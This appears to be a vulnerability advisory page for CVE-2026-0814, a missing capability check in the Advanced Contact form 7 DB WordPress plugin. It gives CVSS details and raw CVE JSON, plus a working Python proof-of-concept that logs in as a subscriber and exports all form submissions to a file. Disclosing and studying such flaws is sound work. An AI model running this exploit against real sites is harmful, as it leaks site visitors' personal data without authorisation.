Security Vulnerability Report
中文
CVE-2026-0814 CVSS 4.3 MEDIUM

CVE-2026-0814

Published: 2026-04-08 19:24:53
Last Modified: 2026-04-24 18:05:09

Description

The Advanced Contact form 7 DB plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'vsz_cf7_export_to_excel' function in all versions up to, and including, 2.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export form submissions to excel file.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Contact form 7 DB <= 2.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "https://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Login to get session cookie login_url = "https://example.com/wp-login.php" session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': 'https://example.com/wp-admin/', 'wp-submit': 'Log In' } session.post(login_url, data=payload) # 2. Prepare exploit payload # The action usually corresponds to the wp_ajax_ hook or wp_ajax_nopriv_ action = "vsz_cf7_export_to_excel" exploit_data = { 'action': action, 'form_id': 'all' # Exporting all submissions } # 3. Send exploit request try: response = session.post(target_url, data=exploit_data) if response.status_code == 200 and "application/vnd" in response.headers.get('Content-Type', ''): print("[+] Exploit successful! File content received.") # Save the excel file with open("cve_2026_0814_dump.xlsx", "wb") as f: f.write(response.content) print("[+] Data saved to cve_2026_0814_dump.xlsx") else: print("[-] Exploit failed or unexpected response.") print(response.text[:500]) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0814", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:24:52.880", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Contact form 7 DB plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'vsz_cf7_export_to_excel' function in all versions up to, and including, 2.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export form submissions to excel file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-cf7-db/tags/2.0.9/admin/class-advanced-cf7-db-admin.php#L1507", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3497481/advanced-cf7-db", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e3de1a4-a534-475b-9138-2337755b0288?source=cve", "source": "[email protected]"}]}}